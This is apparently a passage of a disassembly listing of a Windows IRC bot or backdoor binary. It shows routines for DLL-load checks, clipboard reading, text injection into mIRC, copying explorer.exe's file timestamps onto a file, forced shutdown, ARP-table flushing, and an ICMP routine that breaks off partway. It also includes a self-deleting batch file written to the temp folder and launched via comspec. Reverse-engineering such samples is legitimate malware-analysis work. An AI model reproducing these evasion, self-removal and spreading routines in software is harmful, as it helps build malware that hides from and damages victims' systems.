		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A65B:				; CODE XREF: sub_40A4A7+186j
		cmp	ds:dword_43C718, esi
		jz	short loc_40A68F
		push	ds:dword_43C71C
		lea	eax, [ebp+Dest]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A68F:				; CODE XREF: sub_40A4A7+1BAj
		cmp	ds:dword_43C720, esi
		jz	short loc_40A6C3
		push	ds:dword_43C724
		lea	eax, [ebp+Dest]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A6C3:				; CODE XREF: sub_40A4A7+1EEj
		cmp	ds:dword_43C728, esi
		jz	short loc_40A6F7
		push	ds:dword_43C72C
		lea	eax, [ebp+Dest]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A6F7:				; CODE XREF: sub_40A4A7+222j
		cmp	ds:dword_43C730, esi
		jz	short loc_40A72B
		push	ds:dword_43C734
		lea	eax, [ebp+Dest]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A72B:				; CODE XREF: sub_40A4A7+256j
		cmp	ds:dword_43C738, esi
		jz	short loc_40A75F
		push	ds:dword_43C73C
		lea	eax, [ebp+Dest]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A75F:				; CODE XREF: sub_40A4A7+28Aj
		cmp	ds:dword_43C740, esi
		jz	short loc_40A793
		push	ds:dword_43C744
		lea	eax, [ebp+Dest]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 20h


loc_40A793:				; CODE XREF: sub_40A4A7+2BEj
		lea	eax, [ebp+Dest]
		push	offset unk_42C764 ; Format
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A7C0
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_40D670
		add	esp, 14h


loc_40A7C0:				; CODE XREF: sub_40A4A7+302j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A4A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40A7D2(char *Src,char	*SubStr,char *Str)

sub_40A7D2	proc near		; CODE XREF: sub_40EE51+C4Fp
					; sub_40EE51+C83p ...

Src		= dword	ptr  8
SubStr		= dword	ptr  0Ch
Str		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+Src]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_40A85D
		mov	eax, [ebp+SubStr]
		cmp	eax, esi
		jz	short loc_40A85D
		cmp	[ebp+Str], esi
		jz	short loc_40A85D
		cmp	byte ptr [eax],	0
		jz	short loc_40A85D
		push	ebx
		push	edi		; Src
		call	__strdup
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_40A858
		push	[ebp+SubStr]	; SubStr
		push	edi		; Str
		call	_strstr
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40A851
		sub	eax, edi
		push	eax		; Count
		push	edi		; Source
		push	ebx		; Dest
		call	_strncpy
		push	[ebp+Str]	; Str
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	_strlen
		push	eax		; Count
		push	[ebp+Str]	; Source
		push	ebx		; Dest
		call	_strncat
		push	[ebp+SubStr]	; Str
		call	_strlen
		add	eax, esi
		push	eax		; Source
		push	ebx		; Dest
		call	_strcat
		push	ebx		; Source
		push	edi		; Dest
		call	_strcpy
		add	esp, 30h
		mov	esi, edi


loc_40A851:				; CODE XREF: sub_40A7D2+3Cj
		push	ebx		; Memory
		call	_free
		pop	ecx


loc_40A858:				; CODE XREF: sub_40A7D2+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_40A85F
; ---------------------------------------------------------------------------


loc_40A85D:				; CODE XREF: sub_40A7D2+Cj
					; sub_40A7D2+13j ...
		xor	eax, eax


loc_40A85F:				; CODE XREF: sub_40A7D2+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40A7D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40A863(char *Str,int)

sub_40A863	proc near		; CODE XREF: sub_40ECD9+E9p

Dst		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+Str]
		push	esi		; Str
		call	_strlen
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_40A899
		or	eax, 0FFFFFFFFh
		jmp	short loc_40A90C
; ---------------------------------------------------------------------------


loc_40A899:				; CODE XREF: sub_40A863+2Fj
					; DATA XREF: UPX0:00427424o ...
		xor	ecx, ecx
		mov	[ebp+Dst], esi
		test	eax, eax
		jle	short loc_40A8BB


loc_40A8A5:				; CODE XREF: sub_40A863+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_40A8B2
		cmp	dl, 0Dh
		jnz	short loc_40A8B6


loc_40A8B2:				; CODE XREF: sub_40A863+48j
		and	byte ptr [ecx+esi], 0


loc_40A8B6:				; CODE XREF: sub_40A863+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_40A8A5


loc_40A8BB:				; CODE XREF: sub_40A863+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_40A8EC
		lea	edi, [ebp+var_7CC]


loc_40A8C8:				; CODE XREF: sub_40A863+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_40A8E7
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_40A8E7
		cmp	ebx, 1F4h
		jge	short loc_40A8EC
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_40A8E7:				; CODE XREF: sub_40A863+69j
					; sub_40A863+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_40A8C8


loc_40A8EC:				; CODE XREF: sub_40A863+5Dj
					; sub_40A863+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_40A90A
		lea	eax, [ebp+Dst]
		push	7D0h		; Size
		push	eax		; Src
		push	[ebp+arg_4]	; Dst
		call	_memcpy
		add	esp, 0Ch


loc_40A90A:				; CODE XREF: sub_40A863+8Ej
		mov	eax, ebx


loc_40A90C:				; CODE XREF: sub_40A863+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_40A863	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_40A96A+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_40A949
		push	ebx
		mov	ebx, edi


loc_40A92D:				; CODE XREF: sub_40A910+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_40A94C
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_40A92D
		pop	ebx


loc_40A949:				; CODE XREF: sub_40A910+18j
		pop	edi
		pop	esi
		retn
sub_40A910	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A94C	proc near		; CODE XREF: sub_40A910+25p
					; sub_40A96A+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax		; C
		call	_tolower	; _tolower
		cmp	al, 61h
		pop	ecx
		jl	short loc_40A967
		cmp	al, 7Ah
		jg	short loc_40A967
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_40A967:				; CODE XREF: sub_40A94C+Ej
					; sub_40A94C+12j
		xor	eax, eax
		retn
sub_40A94C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40A96A(char *Str,int)

sub_40A96A	proc near		; CODE XREF: sub_40C04F+10p
					; sub_40C081+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	[ebp+Str]	; Str
		call	_strlen
		push	[ebp+arg_4]	; Str
		mov	[ebp+var_4], eax
		call	_strlen
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_40A910
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_40A9A8:				; CODE XREF: sub_40A96A+B6j
		test	esi, esi
		jle	short loc_40AA26
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	ebx, eax
		mov	eax, [ebp+Str]
		movsx	eax, byte ptr [edi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40AA1E


loc_40A9CE:				; CODE XREF: sub_40A96A+B2j
		mov	ebx, [ebp+Str]
		mov	al, [edi+ebx]
		push	eax
		call	sub_40A94C
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_40A9EF
		mov	eax, ecx


loc_40A9EF:				; CODE XREF: sub_40A96A+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_40AA22
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax		; C
		call	_tolower	; _tolower
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax		; C
		mov	[ebp+var_8], edx
		call	_tolower	; _tolower
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_40A9CE


loc_40AA1E:				; CODE XREF: sub_40A96A+62j
		dec	edi
		dec	esi
		jmp	short loc_40A9A8
; ---------------------------------------------------------------------------


loc_40AA22:				; CODE XREF: sub_40A96A+8Aj
		xor	eax, eax
		jmp	short loc_40AA2B
; ---------------------------------------------------------------------------


loc_40AA26:				; CODE XREF: sub_40A96A+40j
		mov	eax, [ebp+Str]
		add	eax, edi


loc_40AA2B:				; CODE XREF: sub_40A96A+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A96A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA30	proc near		; CODE XREF: sub_40EE51+3C94p
					; sub_40EE51+4AD0p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_423088	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	ds:dword_423100
		lea	eax, [ebp+var_100]


loc_40AA69:				; CODE XREF: sub_40AA30+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_40AA75
		cmp	cl, 9
		jnz	short loc_40AA78


loc_40AA75:				; CODE XREF: sub_40AA30+3Ej
		inc	eax
		jmp	short loc_40AA69
; ---------------------------------------------------------------------------


loc_40AA78:				; CODE XREF: sub_40AA30+43j
					; sub_40AA30+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_40AA92
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_40AA78
		cmp	cl, 21h
		jl	short loc_40AA78


loc_40AA92:				; CODE XREF: sub_40AA30+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset byte_43C748
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA30	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AABA	proc near		; CODE XREF: sub_40EE51+5712p
		push	esi
		push	0
		call	ds:dword_43C5E8	; OpenClipboard
		test	eax, eax
		jz	short loc_40AAF1
		push	1
		call	ds:dword_43C608	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_40AAF1
		push	edi
		push	esi
		call	ds:dword_423108
		push	esi
		mov	edi, eax
		call	ds:dword_423104
		call	ds:dword_43C66C	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AAF1:				; CODE XREF: sub_40AABA+Bj
					; sub_40AABA+19j
		xor	eax, eax
		pop	esi
		retn
sub_40AABA	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40AAF5(char *Format)

sub_40AAF5	proc near		; CODE XREF: sub_40EE51+48C0p

Format		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_43C624	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40AB71
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	ds:dword_423114
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	ds:dword_423000
		push	[esp+10h+Format] ; Format
		mov	ebx, eax
		push	ebx		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_43C674	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_43C674	; SendMessageA
		push	ebx
		call	ds:dword_42310C
		push	edi
		call	ds:dword_423074
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40AB73
; ---------------------------------------------------------------------------


loc_40AB71:				; CODE XREF: sub_40AAF5+16j
		xor	eax, eax


loc_40AB73:				; CODE XREF: sub_40AAF5+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_40AAF5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AB77	proc near		; CODE XREF: sub_40E68B+20Fp

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_43C6D4	; SearchPathA
		test	eax, eax
		jz	short loc_40AC16
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_423080
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40AC16
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	ds:dword_42311C	; GetFileTime
		push	ebx
		mov	ebx, ds:dword_423074
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40AC16
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	ds:dword_423118	; SetFileTime
		push	esi
		call	ebx


loc_40AC16:				; CODE XREF: sub_40AB77+2Aj
					; sub_40AB77+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AB77	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AC1B	proc near		; CODE XREF: sub_40EE51+13B5p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_41510E
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_43C560	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_40AC1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AC3D	proc near		; CODE XREF: sub_40CAF1+472p
					; sub_40EE51+59B7p

Str		= byte ptr -764h
var_364		= byte ptr -364h
Dest		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
Dst		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_42E5BC, esi
		push	edi
		jz	short loc_40AC61
		cmp	ds:dword_43C6E8, esi
		jnz	short loc_40AC61
		push	esi		; Str
		call	sub_40C1B0
		pop	ecx


loc_40AC61:				; CODE XREF: sub_40AC3D+13j
					; sub_40AC3D+1Bj
		call	sub_416F11
		lea	eax, [ebp+Str]
		push	eax
		push	400h
		call	ds:dword_42312C	; GetTempPathA
		lea	eax, [ebp+Str]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+Dest]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_423080
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40ADC1
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+Str]
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	edi
		call	ds:dword_423078
		push	edi
		call	ds:dword_423074
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_4397BC
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		call	ds:dword_4230FC
		push	eax
		call	ds:dword_423090	; GetModuleFileNameA
		lea	eax, [ebp+var_15C]
		push	eax
		call	ds:dword_4230A4	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40AD69
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	ds:dword_423128	; SetFileAttributesA


loc_40AD69:				; CODE XREF: sub_40AC3D+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		lea	eax, [ebp+Str]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		call	ds:dword_423124	; ExpandEnvironmentStringsA
		lea	eax, [ebp+Dst]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	ds:dword_423120	; CreateProcessA


loc_40ADC1:				; CODE XREF: sub_40AC3D+72j
		pop	edi
		pop	esi
		leave
		retn
sub_40AC3D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADC5	proc near		; CODE XREF: sub_4013E9+7p
					; sub_40198C+7p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	ds:dword_43C658	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40ADED
		push	[esp+arg_0]
		call	ds:dword_43C69C	; gethostbyname
		test	eax, eax
		jnz	short loc_40ADE6
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40ADE6:				; CODE XREF: sub_40ADC5+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40ADED:				; CODE XREF: sub_40ADC5+Dj
		retn
sub_40ADC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40ADEE	proc near		; CODE XREF: sub_40EB71+D6p
		mov	ecx, ds:dword_43C540
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40ADFC
		call	ecx	; DnsFlushResolverCache

locret_40ADFC:				; CODE XREF: sub_40ADEE+Aj
		retn
sub_40ADEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADFD	proc near		; CODE XREF: sub_40EE51:loc_414515p

Dest		= byte ptr -88h
Size		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+Size]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+Size], edi
		mov	[ebp+var_4], ebx
		call	ds:dword_43C694	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AEC3
		sub	ecx, 32h
		jz	loc_40AEBC
		sub	ecx, 48h
		jz	short loc_40AE5D
		sub	ecx, 6Eh
		jz	short loc_40AE56


loc_40AE3F:				; CODE XREF: sub_40ADFD+8Bj
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42CA5C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40AE9D
; ---------------------------------------------------------------------------


loc_40AE56:				; CODE XREF: sub_40ADFD+40j
		push	offset unk_42CA28
		jmp	short loc_40AE8F
; ---------------------------------------------------------------------------


loc_40AE5D:				; CODE XREF: sub_40ADFD+3Bj
		push	[ebp+Size]	; Size
		call	_malloc
		push	[ebp+Size]	; Size
		mov	esi, eax
		push	edi		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AE8A
		lea	eax, [ebp+Size]
		push	ebx
		push	eax
		push	esi
		call	ds:dword_43C694	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AEC3
		jmp	short loc_40AE3F
; ---------------------------------------------------------------------------


loc_40AE8A:				; CODE XREF: sub_40ADFD+79j
		push	offset unk_42C9E8 ; Format


loc_40AE8F:				; CODE XREF: sub_40ADFD+5Ej
					; sub_40ADFD+C4j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx


loc_40AE9D:				; CODE XREF: sub_40ADFD+57j
		lea	eax, [ebp+Dest]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_40BF6F
		pop	ecx


loc_40AEAD:				; CODE XREF: sub_40ADFD+C8j
					; sub_40ADFD+DCj
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40AEBC:				; CODE XREF: sub_40ADFD+32j
		push	offset unk_42C9A8
		jmp	short loc_40AE8F
; ---------------------------------------------------------------------------


loc_40AEC3:				; CODE XREF: sub_40ADFD+29j
					; sub_40ADFD+89j
		cmp	[esi], edi
		jbe	short loc_40AEAD
		lea	ebx, [esi+4]


loc_40AECA:				; CODE XREF: sub_40ADFD+DAj
		push	ebx
		call	ds:dword_43C690	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AECA
		jmp	short loc_40AEAD
sub_40ADFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AEDB	proc near		; CODE XREF: sub_401447+243p
					; sub_401D79+268p ...

Dst		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C5BC	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset byte_43C94C
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AEDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AF34	proc near		; CODE XREF: sub_4010B2+24Cp
					; sub_4010B2+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AF5D
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]


loc_40AF50:				; CODE XREF: sub_40AF34+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AF50
		pop	edi
		jmp	short loc_40AF61
; ---------------------------------------------------------------------------


loc_40AF5D:				; CODE XREF: sub_40AF34+Aj
		mov	edx, [esp+4+arg_0]


loc_40AF61:				; CODE XREF: sub_40AF34+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AF6B
		movzx	ecx, byte ptr [edx]
		add	eax, ecx


loc_40AF6B:				; CODE XREF: sub_40AF34+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AF34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF81	proc near		; DATA XREF: sub_40EE51+2E6Co

var_10320	= byte ptr -10320h
Dest		= byte ptr -344h
var_144		= dword	ptr -144h
Str		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
Dst		= byte ptr -20h
var_18		= dword	ptr -18h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10320h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_144]
		rep movsd
		push	1
		pop	edi
		mov	[eax+120h], edi
		call	ds:dword_43C5A4	; IcmpCreateFile
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+var_C0]
		push	eax
		call	ds:dword_43C658	; inet_addr
		mov	esi, eax
		xor	ebx, ebx
		xor	eax, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40AFDC
		lea	eax, [ebp+var_C0]
		push	eax
		call	ds:dword_43C69C	; gethostbyname
